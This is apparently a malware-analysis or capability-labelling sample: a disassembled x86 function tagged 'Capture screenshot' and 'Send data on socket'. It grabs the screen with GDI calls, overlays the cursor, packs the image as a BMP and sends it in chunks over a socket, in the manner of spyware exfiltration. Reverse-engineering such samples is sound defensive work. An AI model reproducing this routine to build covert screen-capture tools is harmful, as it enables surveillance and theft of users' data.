Function at 0x40c920
Capabilities:
Capture screenshot
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5070
call fcn.00563ab0
mov eax, dword [0x5f3e24]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov ebx, eax
push ebx
mov dword [ebp - 0x4848], ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x76
push ebx
mov dword [ebp - 0x484c], eax
call esi
push 0x75
push ebx
mov edi, eax
call esi
mov esi, eax
push esi
push edi
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebx, eax
push ebx
push dword [ebp - 0x484c]
mov dword [ebp - 0x4854], ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0x4848]
push esi
mov esi, dword [ebp - 0x484c]
push edi
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [ebp - 0x4860]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
push dword [ebp - 0x485c]
push dword [ebp - 0x4860]
push esi
call dword [sym.imp.USER32.dll_DrawIcon]
lea eax, [ebp - 0x4850]
push eax
push ecx
mov ecx, ebx
call fcn.0040d360
mov esi, dword [ebp - 0x4850]
mov ebx, eax
add esi, 0x36
lea eax, [esi + 0xe]
push eax
mov dword [ebp - 0x4850], eax
call fcn.004305d0
add esp, 0xc
mov edi, eax
lea eax, [esi + 0xe]
push eax
push 0
push edi
call fcn.00564e00
add esp, 0xc
mov eax, 0x4d42
mov word [edi], ax
xor eax, eax
mov dword [edi + 2], esi
mov dword [edi + 6], eax
push esi
mov dword [edi + 0xa], 0x36
push ebx
lea eax, [edi + 0xe]
push eax
call fcn.00564880
add esp, 0xc
push dword [ebp - 0x4854]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x4848]
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push dword [ebp - 0x484c]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x4850]
lea eax, [ebp - 0x4848]
push eax
mov ecx, edi
mov dword [ebp - 0x4848], 0
call fcn.0040b4f0
mov esi, dword [ebp - 0x4848]
add esp, 4
mov edi, eax
push esi
call fcn.004305d0
add esp, 4
mov dword [ebp - 0x4848], eax
lea ecx, [ebp - 0x4858]
mov dword [ebp - 0x4858], esi
push esi
push edi
push ecx
push eax
call fcn.00412d30
push edi
call fcn.004305cb
mov esi, dword [ebp - 0x4858]
add esp, 4
mov dword [ebp - 0x4850], esi
push 0xffffffffffffffff
push dword [0x5fd82c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x738
lea eax, [ebp - 0x4fa0]
push 0
push eax
call fcn.00564e00
add esp, 0xc
mov dword [ebp - 0x506c], 0xc
lea eax, [ebp - 0x410c]
push 0xc8
push 0
push eax
call fcn.00564e00
add esp, 0xc
lea ecx, [ebp - 0xb]
push 0
push esi
call fcn.0040e920
add esp, 4
lea ecx, [ebp - 0xb]
push ecx
push eax
lea ecx, [ebp - 0x403c]
call fcn.0040c0d0
mov edi, dword [ebp - 0x4028]
lea ecx, [ebp - 0x403c]
mov esi, dword [ebp - 0x403c]
lea edx, [ebp - 0x410c]
cmp edi, 0x10
cmovae ecx, esi
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40cb58
cmp edi, 0x10
jb 0x40cb92
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40cb88
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cdd7
push ecx
push esi
call fcn.00562bc8
add esp, 8
lea edi, [ebp - 0x410c]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x40cba0
mov ax, word [0x5d3aec]
lea esi, [ebp - 0xb]
mov word [edi], ax
mov ebx, 0x2c6
nop dword [eax + eax]
mov eax, 0xcccccccd
dec esi
mul ebx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [esi], bl
mov ebx, edx
test ebx, ebx
jne 0x40cbc0
push ecx
lea eax, [ebp - 0xb]
push eax
push esi
lea ecx, [ebp - 0x403c]
call fcn.0040c0d0
cmp dword [ebp - 0x4028], 0x10
lea edx, [ebp - 0x403c]
mov ebx, dword [ebp - 0x403c]
cmovae edx, ebx
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40cc10
lea edi, [ebp - 0x410c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc20
mov eax, dword [ebp - 0x4028]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x10
jb 0x40cc6c
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x40cc62
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cdd7
push ecx
push ebx
call fcn.00562bc8
add esp, 8
push 0
push 0x804
mov ecx, 0x32
lea esi, [ebp - 0x410c]
lea edi, [ebp - 0x5068]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x4844]
mov ecx, 0x201
push eax
push dword [0x5fd5e4]
lea esi, [ebp - 0x506c]
lea edi, [ebp - 0x4844]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
mov edi, dword [ebp - 0x4850]
mov ebx, edi
shr ebx, 0xe
test edi, 0x3fff
je 0x40ccc0
inc ebx
push 0x4000
lea eax, [ebp - 0x4024]
push 0
push eax
call fcn.00564e00
add esp, 0xc
xor esi, esi
test ebx, ebx
je 0x40cdaa
mov eax, dword [ebp - 0x4848]
mov dword [ebp - 0x484c], eax
nop dword [eax]
push 0x4000
lea eax, [ebp - 0x4024]
push 0
push eax
call fcn.00564e00
lea eax, [esi + 1]
add esp, 0xc
mov dword [ebp - 0x4854], eax
cmp eax, ebx
jne 0x40cd24
mov eax, ebx
mov esi, edi
shl eax, 0xe
sub esi, eax
add esi, 0x4000
jmp 0x40cd29
mov esi, 0x4000
push esi
push dword [ebp - 0x484c]
lea eax, [ebp - 0x4024]
xor edi, edi
push eax
call fcn.00564880
add esp, 0xc
test esi, esi
jle 0x40cd6a
push 0
push esi
lea eax, [ebp - 0x4024]
add eax, edi
push eax
push dword [0x5fd5e4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40cd89
sub esi, eax
add edi, eax
test esi, esi
jg 0x40cd45
add dword [ebp - 0x484c], 0x4000
mov esi, dword [ebp - 0x4854]
cmp esi, ebx
jge 0x40cdaa
mov edi, dword [ebp - 0x4850]
jmp 0x40ccf0
push dword [ebp - 0x4848]
call fcn.004305cb
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00562bba
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x4848]
call fcn.004305cb
add esp, 4
push dword [0x5fd82c]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00562bba
mov esp, ebp
pop ebp
ret
call fcn.005680f5
int3